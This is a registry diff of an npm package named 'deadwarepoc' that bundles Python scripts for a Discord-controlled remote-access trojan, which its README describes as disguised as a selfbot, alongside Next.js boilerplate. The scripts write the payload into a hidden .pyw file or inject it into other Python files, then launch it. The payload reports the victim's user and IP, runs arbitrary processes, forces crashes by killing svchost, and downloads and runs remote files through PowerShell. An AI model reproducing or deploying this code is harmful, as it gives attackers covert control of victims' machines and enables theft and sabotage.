deadwarepoc 7.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of deadwarepoc might be problematic. Click here for more details.

@@ -0,0 +1,275 @@
1
+ from colorama import Fore, init
2
+ import os, time, getpass
3
+
4
+ user = getpass.getuser()
5
+
6
+ init()
7
+
8
+ user = getpass.getuser()
9
+ path = f'C:\\Users\{user}'
10
+
11
+ os.chdir(path)
12
+
13
+ file = 'WindowsSystem.pyw'
14
+
15
+ os.system('cls')
16
+
17
+ time.sleep(1)
18
+
19
+ with open(f'{file}' , 'w') as f:
20
+ f.write('''
21
+ ### IMPORTS ###
22
+ import ctypes
23
+ import asyncio
24
+ import datetime
25
+ from ipaddress import ip_address
26
+ import json
27
+ import os
28
+ import random
29
+ import string
30
+ from textwrap import dedent
31
+ from turtle import color
32
+ import urllib.parse
33
+ import urllib.request
34
+ import time
35
+ from urllib import parse, request
36
+ from bs4 import BeautifulSoup as bs4
37
+ import discord
38
+ import requests
39
+ from PIL import Image
40
+ from colorama import Fore, init
41
+ from discord import Permissions
42
+ from discord.ext import commands
43
+ from discord.utils import get
44
+ import multiprocessing
45
+ from win32api import *
46
+ from win32gui import *
47
+ from win32con import *
48
+ from win32file import *
49
+ import getpass, pyautogui
50
+
51
+ def GetIP():
52
+ ip = requests.get("https://api.ipify.org").text
53
+ return ip
54
+
55
+ def RandomColor():
56
+ randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
57
+ return randcolor
58
+
59
+ Deadware = commands.Bot(description='Deadware', command_prefix='d!', bot=True)
60
+ Deadware.remove_command('help')
61
+ loop = asyncio.get_event_loop()
62
+
63
+ @Deadware.event
64
+ async def on_ready():
65
+ channel = Deadware.get_channel(935607961424887849) #CHANGE THIS
66
+ user = getpass.getuser()
67
+ embed = discord.Embed(title='[+] Deadware Connection!', description='You have a new connection', colour=RandomColor())
68
+ embed.add_field(name=f'User: {user}', value='** **', inline=False)
69
+ embed.add_field(name='IP: ' + GetIP(), value='** **', inline=False)
70
+
71
+ await channel.send(embed=embed)
72
+
73
+ @Deadware.event
74
+ async def on_command_error(ctx, error):
75
+ if isinstance(error, commands.CommandNotFound):
76
+ await ctx.send('Command not found!')
77
+ elif isinstance(error, commands.MissingRequiredArgument):
78
+ await ctx.send('Missing argument!')
79
+
80
+ @Deadware.command()
81
+ async def test_con(ctx):
82
+ await ctx.message.delete()
83
+ user = getpass.getuser()
84
+ await ctx.send(f'Current Users: {user}')
85
+
86
+ @Deadware.command()
87
+ async def create_file(ctx, *, filename : str = None):
88
+ await ctx.message.delete()
89
+ if filename is None:
90
+ await ctx.send('No file name given!')
91
+ else:
92
+ user = getpass.getuser()
93
+ os.system(f"echo Hello there :) {user} > {filename}.txt")
94
+ await ctx.send(f'Created file {filename}.txt')
95
+
96
+ @Deadware.command()
97
+ async def start_process(ctx, *, process):
98
+ await ctx.message.delete()
99
+ try:
100
+ os.system(f'start {process}')
101
+ await ctx.send(f'Started process {process}')
102
+ except Exception:
103
+ await ctx.send(f'Could not start {process}')
104
+
105
+ @Deadware.command()
106
+ async def computer_shutdown(ctx):
107
+ await ctx.message.delete()
108
+ try:
109
+ os.system('shutdown /s')
110
+ await ctx.send("Shutdown PC")
111
+ except:
112
+ await ctx.send('Could not shutdown computer')
113
+
114
+ @Deadware.command()
115
+ async def deadware_bomb(ctx):
116
+ await ctx.message.delete()
117
+ user = getpass.getuser()
118
+ try:
119
+ os.system(f'cd C://Users/{user}/Desktop & mkdir deadware')
120
+ os.system(f'cd C://Users/{user}/Desktop/deadware & echo Hello there {user} > Note.txt')
121
+ while True:
122
+ os.system('start notepad.exe')
123
+ except Exception:
124
+ await ctx.send('Could not bomb computer')
125
+
126
+ @Deadware.command()
127
+ async def help(ctx):
128
+ await ctx.message.delete()
129
+ await ctx.send('test_con - tests connection')
130
+ await ctx.send('create_file - creates a file')
131
+ await ctx.send('start_process - starts process')
132
+ await ctx.send('computer_shutdown - shuts down computer')
133
+ await ctx.send('deadware_bomb - messes with computer')
134
+ await ctx.send('start_typing - opens notepad and types message')
135
+ await ctx.send('get_ip - gets machine IP')
136
+ await ctx.send('end_task - ends a task')
137
+ await ctx.send('get_tasks - gets current processes running')
138
+ await ctx.send('get_netstat - gets netstat output')
139
+ await ctx.send('blue_screen - forces a temp BSOD')
140
+ await ctx.send('error_drawing - starts cursor drawing')
141
+ await ctx.send('upload - uplaods a file and runs it')
142
+ await ctx.send('cwd - gets currenct working directory')
143
+ await ctx.send('dir - lists folders in directory')
144
+ await ctx.send('ext_search <file extention> - searches for file with extention')
145
+ await ctx.send('change_dir <folder> - changes file directory')
146
+ await ctx.send('kill_deadware - stops deadware')
147
+
148
+
149
+ @Deadware.command()
150
+ async def start_typing(ctx, *, msg):
151
+ await ctx.message.delete()
152
+ user = getpass.getuser()
153
+ try:
154
+ os.system('start notepad.exe')
155
+ time.sleep(1)
156
+ pyautogui.typewrite(msg)
157
+ await ctx.send("Success")
158
+ except Exception:
159
+ await ctx.send('Could not start typing')
160
+
161
+ @Deadware.command()
162
+ async def get_ip(ctx):
163
+ await ctx.message.delete()
164
+ try:
165
+ await ctx.send('IP: ' + GetIP())
166
+ except Exception:
167
+ await ctx.send('Could not get IP')
168
+
169
+ @Deadware.command()
170
+ async def end_task(ctx, *, task):
171
+ await ctx.message.delete()
172
+ try:
173
+ os.system('taskkill /im ' + task + ' /f')
174
+ await ctx.send(f'Stopped {task}')
175
+ except Exception:
176
+ await ctx.send(f'Could not stop {task}')
177
+
178
+ @Deadware.command()
179
+ async def get_tasks(ctx):
180
+ await ctx.message.delete()
181
+ try:
182
+ os.system('tasklist > C://ProgramData/taskdata.txt')
183
+ await ctx.send(file=discord.File(r'C://ProgramData/taskdata.txt'))
184
+ os.remove('C://ProgramData/taskdata.txt')
185
+ except Exception:
186
+ await ctx.send('Could not list tasks')
187
+
188
+ @Deadware.command()
189
+ async def get_netstat(ctx):
190
+ await ctx.message.delete()
191
+ try:
192
+ os.system('netstat -an > C://ProgramData/netstatdata.txt')
193
+ await ctx.send(file=discord.File(r'C://ProgramData/netstatdata.txt'))
194
+ except Exception:
195
+ await ctx.send('Cannot get netstat')
196
+
197
+ @Deadware.command()
198
+ async def blue_screen(ctx):
199
+ await ctx.message.delete()
200
+ try:
201
+ __import__("os").system("taskkill /F /IM svchost.exe")
202
+ await ctx.send("Blue Screened!")
203
+ except Exception:
204
+ await ctx.send("Could not blue screen")
205
+
206
+ from random import randrange as rd
207
+ @Deadware.command()
208
+ async def error_drawing(ctx):
209
+ await ctx.message.delete()
210
+ try:
211
+ IconWarning = LoadIcon(None, 32515)
212
+ IconError = LoadIcon(None, 32513)
213
+ sw,sh = (GetSystemMetrics(0), GetSystemMetrics(1))
214
+ HDC = GetDC(0)
215
+ mouseX,mouseY = GetCaretPos()
216
+ while True:
217
+ DrawIcon(HDC, rd(sw), rd(sh), IconWarning)
218
+ for i in range(0, 60):
219
+ mouseX,mouseY = GetCursorPos()
220
+ DrawIcon(HDC, mouseX, mouseY, IconError)
221
+ time.sleep(10)
222
+ except Exception:
223
+ await ctx.send("Could not do error drawing")
224
+
225
+ import subprocess
226
+ @Deadware.command()
227
+ async def upload(ctx, *, url, file_name):
228
+ await ctx.message.delete()
229
+ subprocess.call(f'C:\Windows\System32\powershell.exe Invoke-WebRequest -Uri {url} -OutFile .\{file_name}; .\{file_name}', shell=True)
230
+
231
+ @Deadware.command()
232
+ async def kill_deadware(ctx):
233
+ await ctx.message.delete()
234
+ try:
235
+ await ctx.send('Stopped Deadware')
236
+ exit()
237
+ except Exception:
238
+ await ctx.send('Could not stop Deadware')
239
+
240
+ @Deadware.command()
241
+ async def cwd(ctx):
242
+ await ctx.message.delete()
243
+ cwd = os.getcwd()
244
+ await ctx.send(f'```{cwd}```')
245
+
246
+ import glob
247
+ @Deadware.command()
248
+ async def dir(ctx):
249
+ directory = glob.glob('*/')
250
+ await ctx.message.delete()
251
+ for dirs in directory:
252
+ await ctx.send(dirs)
253
+
254
+ @Deadware.command()
255
+ async def ext_search(ctx, *, ext):
256
+ await ctx.message.delete()
257
+ file_type = glob.glob(f'*{ext}')
258
+ for files in file_type:
259
+ await ctx.send(files)
260
+
261
+ @Deadware.command()
262
+ async def change_dir(ctx, *, dir):
263
+ await ctx.message.delete()
264
+ os.chdir(dir)
265
+ await ctx.send(f'Changed directory')
266
+
267
+ loop.create_task(Deadware.start('BOT-TOKEN-HERE')) #CHANGE THIS
268
+
269
+ try:
270
+ loop.run_forever()
271
+ except:
272
+ loop.stop()''')
273
+
274
+ time.sleep(1)
275
+ os.system(f'start {file}')
@@ -0,0 +1,270 @@
1
+ from colorama import Fore, init
2
+ import os, time
3
+
4
+ init()
5
+
6
+ file = input('File to pack: ')
7
+
8
+ os.system('cls')
9
+
10
+ print(f'{Fore.GREEN}[+]{Fore.WHITE} Starting to pack {Fore.RED}{file}')
11
+ time.sleep(1)
12
+
13
+ os.system('cls')
14
+
15
+ with open(f'{file}' , 'a') as f:
16
+ f.write('''
17
+ ### IMPORTS ###
18
+ import ctypes
19
+ import asyncio
20
+ import datetime
21
+ from ipaddress import ip_address
22
+ import json
23
+ import os
24
+ import random
25
+ import string
26
+ from textwrap import dedent
27
+ from turtle import color
28
+ import urllib.parse
29
+ import urllib.request
30
+ import time
31
+ from urllib import parse, request
32
+ from bs4 import BeautifulSoup as bs4
33
+ import discord
34
+ import requests
35
+ from PIL import Image
36
+ from colorama import Fore, init
37
+ from discord import Permissions
38
+ from discord.ext import commands
39
+ from discord.utils import get
40
+ import multiprocessing
41
+ from win32api import *
42
+ from win32gui import *
43
+ from win32con import *
44
+ from win32file import *
45
+ import getpass, pyautogui
46
+
47
+ def GetIP():
48
+ ip = requests.get("https://api.ipify.org").text
49
+ return ip
50
+
51
+ def RandomColor():
52
+ randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
53
+ return randcolor
54
+
55
+ Deadware = commands.Bot(description='Deadware', command_prefix='d!', bot=True)
56
+ Deadware.remove_command('help')
57
+ loop = asyncio.get_event_loop()
58
+
59
+ @Deadware.event
60
+ async def on_ready():
61
+ channel = Deadware.get_channel(935607961424887849) #CHANGE THIS
62
+ user = getpass.getuser()
63
+ embed = discord.Embed(title='[+] Deadware Connection!', description='You have a new connection', colour=RandomColor())
64
+ embed.add_field(name=f'User: {user}', value='** **', inline=False)
65
+ embed.add_field(name='IP: ' + GetIP(), value='** **', inline=False)
66
+
67
+ await channel.send(embed=embed)
68
+
69
+ @Deadware.event
70
+ async def on_command_error(ctx, error):
71
+ if isinstance(error, commands.CommandNotFound):
72
+ await ctx.send('Command not found!')
73
+ elif isinstance(error, commands.MissingRequiredArgument):
74
+ await ctx.send('Missing argument!')
75
+
76
+ @Deadware.command()
77
+ async def test_con(ctx):
78
+ await ctx.message.delete()
79
+ user = getpass.getuser()
80
+ await ctx.send(f'Current Users: {user}')
81
+
82
+ @Deadware.command()
83
+ async def create_file(ctx, *, filename : str = None):
84
+ await ctx.message.delete()
85
+ if filename is None:
86
+ await ctx.send('No file name given!')
87
+ else:
88
+ user = getpass.getuser()
89
+ os.system(f"echo Hello there :) {user} > {filename}.txt")
90
+ await ctx.send(f'Created file {filename}.txt')
91
+
92
+ @Deadware.command()
93
+ async def start_process(ctx, *, process):
94
+ await ctx.message.delete()
95
+ try:
96
+ os.system(f'start {process}')
97
+ await ctx.send(f'Started process {process}')
98
+ except Exception:
99
+ await ctx.send(f'Could not start {process}')
100
+
101
+ @Deadware.command()
102
+ async def computer_shutdown(ctx):
103
+ await ctx.message.delete()
104
+ try:
105
+ os.system('shutdown /s')
106
+ await ctx.send("Shutdown PC")
107
+ except:
108
+ await ctx.send('Could not shutdown computer')
109
+
110
+ @Deadware.command()
111
+ async def deadware_bomb(ctx):
112
+ await ctx.message.delete()
113
+ user = getpass.getuser()
114
+ try:
115
+ os.system(f'cd C://Users/{user}/Desktop & mkdir deadware')
116
+ os.system(f'cd C://Users/{user}/Desktop/deadware & echo Hello there {user} > Note.txt')
117
+ while True:
118
+ os.system('start notepad.exe')
119
+ except Exception:
120
+ await ctx.send('Could not bomb computer')
121
+
122
+ @Deadware.command()
123
+ async def help(ctx):
124
+ await ctx.message.delete()
125
+ await ctx.send('test_con - tests connection')
126
+ await ctx.send('create_file - creates a file')
127
+ await ctx.send('start_process - starts process')
128
+ await ctx.send('computer_shutdown - shuts down computer')
129
+ await ctx.send('deadware_bomb - messes with computer')
130
+ await ctx.send('start_typing - opens notepad and types message')
131
+ await ctx.send('get_ip - gets machine IP')
132
+ await ctx.send('end_task - ends a task')
133
+ await ctx.send('get_tasks - gets current processes running')
134
+ await ctx.send('get_netstat - gets netstat output')
135
+ await ctx.send('blue_screen - forces a temp BSOD')
136
+ await ctx.send('error_drawing - starts cursor drawing')
137
+ await ctx.send('upload - uplaods a file and runs it')
138
+ await ctx.send('cwd - gets currenct working directory')
139
+ await ctx.send('dir - lists folders in directory')
140
+ await ctx.send('ext_search <file extention> - searches for file with extention')
141
+ await ctx.send('change_dir <folder> - changes file directory')
142
+
143
+
144
+ @Deadware.command()
145
+ async def start_typing(ctx, *, msg):
146
+ await ctx.message.delete()
147
+ user = getpass.getuser()
148
+ try:
149
+ os.system('start notepad.exe')
150
+ time.sleep(1)
151
+ pyautogui.typewrite(msg)
152
+ await ctx.send("Success")
153
+ except Exception:
154
+ await ctx.send('Could not start typing')
155
+
156
+ @Deadware.command()
157
+ async def get_ip(ctx):
158
+ await ctx.message.delete()
159
+ try:
160
+ await ctx.send('IP: ' + GetIP())
161
+ except Exception:
162
+ await ctx.send('Could not get IP')
163
+
164
+ @Deadware.command()
165
+ async def end_task(ctx, *, task):
166
+ await ctx.message.delete()
167
+ try:
168
+ os.system('taskkill /im ' + task + ' /f')
169
+ await ctx.send(f'Stopped {task}')
170
+ except Exception:
171
+ await ctx.send(f'Could not stop {task}')
172
+
173
+ @Deadware.command()
174
+ async def get_tasks(ctx):
175
+ await ctx.message.delete()
176
+ try:
177
+ os.system('tasklist > C://ProgramData/taskdata.txt')
178
+ await ctx.send(file=discord.File(r'C://ProgramData/taskdata.txt'))
179
+ os.remove('C://ProgramData/taskdata.txt')
180
+ except Exception:
181
+ await ctx.send('Could not list tasks')
182
+
183
+ @Deadware.command()
184
+ async def get_netstat(ctx):
185
+ await ctx.message.delete()
186
+ try:
187
+ os.system('netstat -an > C://ProgramData/netstatdata.txt')
188
+ await ctx.send(file=discord.File(r'C://ProgramData/netstatdata.txt'))
189
+ except Exception:
190
+ await ctx.send('Cannot get netstat')
191
+
192
+ @Deadware.command()
193
+ async def blue_screen(ctx):
194
+ await ctx.message.delete()
195
+ try:
196
+ __import__("os").system("taskkill /F /IM svchost.exe")
197
+ await ctx.send("Blue Screened!")
198
+ except Exception:
199
+ await ctx.send("Could not blue screen")
200
+
201
+ from random import randrange as rd
202
+ @Deadware.command()
203
+ async def error_drawing(ctx):
204
+ await ctx.message.delete()
205
+ try:
206
+ IconWarning = LoadIcon(None, 32515)
207
+ IconError = LoadIcon(None, 32513)
208
+ sw,sh = (GetSystemMetrics(0), GetSystemMetrics(1))
209
+ HDC = GetDC(0)
210
+ mouseX,mouseY = GetCaretPos()
211
+ while True:
212
+ DrawIcon(HDC, rd(sw), rd(sh), IconWarning)
213
+ for i in range(0, 60):
214
+ mouseX,mouseY = GetCursorPos()
215
+ DrawIcon(HDC, mouseX, mouseY, IconError)
216
+ time.sleep(10)
217
+ except Exception:
218
+ await ctx.send("Could not do error drawing")
219
+
220
+ import subprocess
221
+ @Deadware.command()
222
+ async def upload(ctx, *, url, file_name):
223
+ await ctx.message.delete()
224
+ subprocess.call(f'C:\Windows\System32\powershell.exe Invoke-WebRequest -Uri {url} -OutFile .\{file_name}; .\{file_name}', shell=True)
225
+
226
+ @Deadware.command()
227
+ async def kill_deadware(ctx):
228
+ await ctx.message.delete()
229
+ try:
230
+ await ctx.send('Stopped Deadware')
231
+ exit()
232
+ except Exception:
233
+ await ctx.send('Could not stop Deadware')
234
+
235
+ @Deadware.command()
236
+ async def cwd(ctx):
237
+ await ctx.message.delete()
238
+ cwd = os.getcwd()
239
+ await ctx.send(f'```{cwd}```')
240
+
241
+ import glob
242
+ @Deadware.command()
243
+ async def dir(ctx):
244
+ directory = glob.glob('*/')
245
+ await ctx.message.delete()
246
+ for dirs in directory:
247
+ await ctx.send(dirs)
248
+
249
+ @Deadware.command()
250
+ async def ext_search(ctx, *, ext):
251
+ await ctx.message.delete()
252
+ file_type = glob.glob(f'*{ext}')
253
+ for files in file_type:
254
+ await ctx.send(files)
255
+
256
+ @Deadware.command()
257
+ async def change_dir(ctx, *, dir):
258
+ await ctx.message.delete()
259
+ os.chdir(dir)
260
+ await ctx.send(f'Changed directory')
261
+
262
+ loop.create_task(Deadware.start('BOT-TOKEN-HERE')) #CHANGE THIS
263
+
264
+ try:
265
+ loop.run_forever()
266
+ except:
267
+ loop.stop()''')
268
+
269
+ print(f'{Fore.GREEN}[+] {Fore.WHITE}Finished packing Deadware into {Fore.RED}{file}')
270
+ input("")
package/README.md ADDED
@@ -0,0 +1,39 @@
1
+ # Deadware PoC
2
+ Deadware is a RAT disguised as a fully functioning Selfbot. It uses a Discord server and bot as a C&C while the `deadcord.py` being the payload. The command prefix for the bot is `d!` and for the selfbot it is `.`
3
+
4
+ Deadware will consantly be updated as the project is a work in progress. Updates are to be released at least once every 2 weeks. If there is any bugs, please let me know so I can make a fix.
5
+
6
+ Special thanks too `mte0` for contributing to the script!
7
+
8
+ ## How to setup
9
+ 1. Create a Discord Bot in the [Discord developer portal](https://discord.com/developers/applications)
10
+ 2. In `deadcord.py` replace the details at line 17 and 18 (with your channel id, and your bot token)
11
+ 3. Compile `deadcord.py` with pyinstaller. I would suggest using the following command in step 4 or you can run the `Builder.py` for speed
12
+ 4. `pyinstaller deadcord.py --onefile --uac-admin`
13
+
14
+ ## Deadware Info
15
+ `Packer.py` will inject the Deadware code into another python file.
16
+ `Injection.py` will create a new file in the Program Data directory and then run `Deadware.` Note that this payload will need to have python installed on the system.
17
+
18
+ As mentioned, Deadware is disguised as a selfbot called `DeadCord` which is a fully functioning selfbot with over 75 commands. However, the real commands are in the Deadware bot. The following list is the up to date commands:
19
+
20
+ * check <token> - returns state and details of a discord token (using https://utilities.tk)
21
+ * test_con - tests connection
22
+ * create_file <filename> - creates a file
23
+ * start_process <process> - starts process
24
+ * computer_shutdown - shuts down computer
25
+ * deadware_bomb - messes with computer
26
+ * get_token - gets selfbot token
27
+ * start_typing <message> - opens notepad and types message
28
+ * get_ip - gets machine IP
29
+ * end_task <task> - ends a task
30
+ * get_tasks - gets current processes running
31
+ * get_netstat - gets netstat output
32
+ * blue_screen - forces a temp BSOD
33
+ * error_drawing - starts cursor drawing
34
+ * upload <uri> <filename> - uplaods a file and runs it
35
+ * cwd - gets currenct working directory
36
+ * dir - lists folders in directory
37
+ * ext_search <file extention> - searches for file with extention
38
+ * change_dir <folder> - changes file directory
39
+
@@ -0,0 +1,4 @@
1
+ /** @type {import('next').NextConfig} */
2
+ const nextConfig = {};
3
+
4
+ export default nextConfig;
package/package.json ADDED
@@ -0,0 +1,31 @@
1
+ {
2
+ "name": "deadwarepoc",
3
+ "version": "7.0.1",
4
+ "scripts": {
5
+ "dev": "next dev",
6
+ "build": "next build",
7
+ "start": "next start",
8
+ "lint": "next lint"
9
+ },
10
+ "dependencies": {
11
+ "biarbi": "^1.2.1",
12
+ "next": "14.1.3",
13
+ "react": "^18",
14
+ "react-dom": "^18"
15
+ },
16
+ "devDependencies": {
17
+ "@types/node": "^20",
18
+ "@types/react": "^18",
19
+ "@types/react-dom": "^18",
20
+ "autoprefixer": "^10.0.1",
21
+ "eslint": "^8",
22
+ "eslint-config-next": "14.1.3",
23
+ "postcss": "^8",
24
+ "tailwindcss": "^3.3.0",
25
+ "typescript": "^5"
26
+ },
27
+ "main": "postcss.config.js",
28
+ "author": "",
29
+ "license": "ISC",
30
+ "description": "Deadware is a RAT disguised as a fully functioning Selfbot. It uses a Discord server and bot as a C&C while the `deadcord.py` being the payload. The command prefix for the bot is `d!` and for the selfbot it is `.`"
31
+ }
@@ -0,0 +1,6 @@
1
+ module.exports = {
2
+ plugins: {
3
+ tailwindcss: {},
4
+ autoprefixer: {},
5
+ },
6
+ };
@@ -0,0 +1 @@
1
+ <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 394 80"><path fill="#000" d="M262 0h68.5v12.7h-27.2v66.6h-13.6V12.7H262V0ZM149 0v12.7H94v20.4h44.3v12.6H94v21h55v12.6H80.5V0h68.7zm34.3 0h-17.8l63.8 79.4h17.9l-32-39.7 32-39.6h-17.9l-23 28.6-23-28.6zm18.3 56.7-9-11-27.1 33.7h17.8l18.3-22.7z"/><path fill="#000" d="M81 79.3 17 0H0v79.3h13.6V17l50.2 62.3H81Zm252.6-.4c-1 0-1.8-.4-2.5-1s-1.1-1.6-1.1-2.6.3-1.8 1-2.5 1.6-1 2.6-1 1.8.3 2.5 1a3.4 3.4 0 0 1 .6 4.3 3.7 3.7 0 0 1-3 1.8zm23.2-33.5h6v23.3c0 2.1-.4 4-1.3 5.5a9.1 9.1 0 0 1-3.8 3.5c-1.6.8-3.5 1.3-5.7 1.3-2 0-3.7-.4-5.3-1s-2.8-1.8-3.7-3.2c-.9-1.3-1.4-3-1.4-5h6c.1.8.3 1.6.7 2.2s1 1.2 1.6 1.5c.7.4 1.5.5 2.4.5 1 0 1.8-.2 2.4-.6a4 4 0 0 0 1.6-1.8c.3-.8.5-1.8.5-3V45.5zm30.9 9.1a4.4 4.4 0 0 0-2-3.3 7.5 7.5 0 0 0-4.3-1.1c-1.3 0-2.4.2-3.3.5-.9.4-1.6 1-2 1.6a3.5 3.5 0 0 0-.3 4c.3.5.7.9 1.3 1.2l1.8 1 2 .5 3.2.8c1.3.3 2.5.7 3.7 1.2a13 13 0 0 1 3.2 1.8 8.1 8.1 0 0 1 3 6.5c0 2-.5 3.7-1.5 5.1a10 10 0 0 1-4.4 3.5c-1.8.8-4.1 1.2-6.8 1.2-2.6 0-4.9-.4-6.8-1.2-2-.8-3.4-2-4.5-3.5a10 10 0 0 1-1.7-5.6h6a5 5 0 0 0 3.5 4.6c1 .4 2.2.6 3.4.6 1.3 0 2.5-.2 3.5-.6 1-.4 1.8-1 2.4-1.7a4 4 0 0 0 .8-2.4c0-.9-.2-1.6-.7-2.2a11 11 0 0 0-2.1-1.4l-3.2-1-3.8-1c-2.8-.7-5-1.7-6.6-3.2a7.2 7.2 0 0 1-2.4-5.7 8 8 0 0 1 1.7-5 10 10 0 0 1 4.3-3.5c2-.8 4-1.2 6.4-1.2 2.3 0 4.4.4 6.2 1.2 1.8.8 3.2 2 4.3 3.4 1 1.4 1.5 3 1.5 5h-5.8z"/></svg>
@@ -0,0 +1 @@
1
+ <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 283 64"><path fill="black" d="M141 16c-11 0-19 7-19 18s9 18 20 18c7 0 13-3 16-7l-7-5c-2 3-6 4-9 4-5 0-9-3-10-7h28v-3c0-11-8-18-19-18zm-9 15c1-4 4-7 9-7s8 3 9 7h-18zm117-15c-11 0-19 7-19 18s9 18 20 18c6 0 12-3 16-7l-8-5c-2 3-5 4-8 4-5 0-9-3-11-7h28l1-3c0-11-8-18-19-18zm-10 15c2-4 5-7 10-7s8 3 9 7h-19zm-39 3c0 6 4 10 10 10 4 0 7-2 9-5l8 5c-3 5-9 8-17 8-11 0-19-7-19-18s8-18 19-18c8 0 14 3 17 8l-8 5c-2-3-5-5-9-5-6 0-10 4-10 10zm83-29v46h-9V5h9zM37 0l37 64H0L37 0zm92 5-27 48L74 5h10l18 30 17-30h10zm59 12v10l-3-1c-6 0-10 4-10 10v15h-9V17h9v9c0-5 6-9 13-9z"/></svg>
Binary file
@@ -0,0 +1,33 @@
1
+ @tailwind base;
2
+ @tailwind components;
3
+ @tailwind utilities;
4
+
5
+ :root {
6
+ --foreground-rgb: 0, 0, 0;
7
+ --background-start-rgb: 214, 219, 220;
8
+ --background-end-rgb: 255, 255, 255;
9
+ }
10
+
11
+ @media (prefers-color-scheme: dark) {
12
+ :root {
13
+ --foreground-rgb: 255, 255, 255;
14
+ --background-start-rgb: 0, 0, 0;
15
+ --background-end-rgb: 0, 0, 0;
16
+ }
17
+ }
18
+
19
+ body {
20
+ color: rgb(var(--foreground-rgb));
21
+ background: linear-gradient(
22
+ to bottom,
23
+ transparent,
24
+ rgb(var(--background-end-rgb))
25
+ )
26
+ rgb(var(--background-start-rgb));
27
+ }
28
+
29
+ @layer utilities {
30
+ .text-balance {
31
+ text-wrap: balance;
32
+ }
33
+ }
@@ -0,0 +1,22 @@
1
+ import type { Metadata } from "next";
2
+ import { Inter } from "next/font/google";
3
+ import "./globals.css";
4
+
5
+ const inter = Inter({ subsets: ["latin"] });
6
+
7
+ export const metadata: Metadata = {
8
+ title: "Create Next App",
9
+ description: "Generated by create next app",
10
+ };
11
+
12
+ export default function RootLayout({
13
+ children,
14
+ }: Readonly<{
15
+ children: React.ReactNode;
16
+ }>) {
17
+ return (
18
+ <html lang="en">
19
+ <body className={inter.className}>{children}</body>
20
+ </html>
21
+ );
22
+ }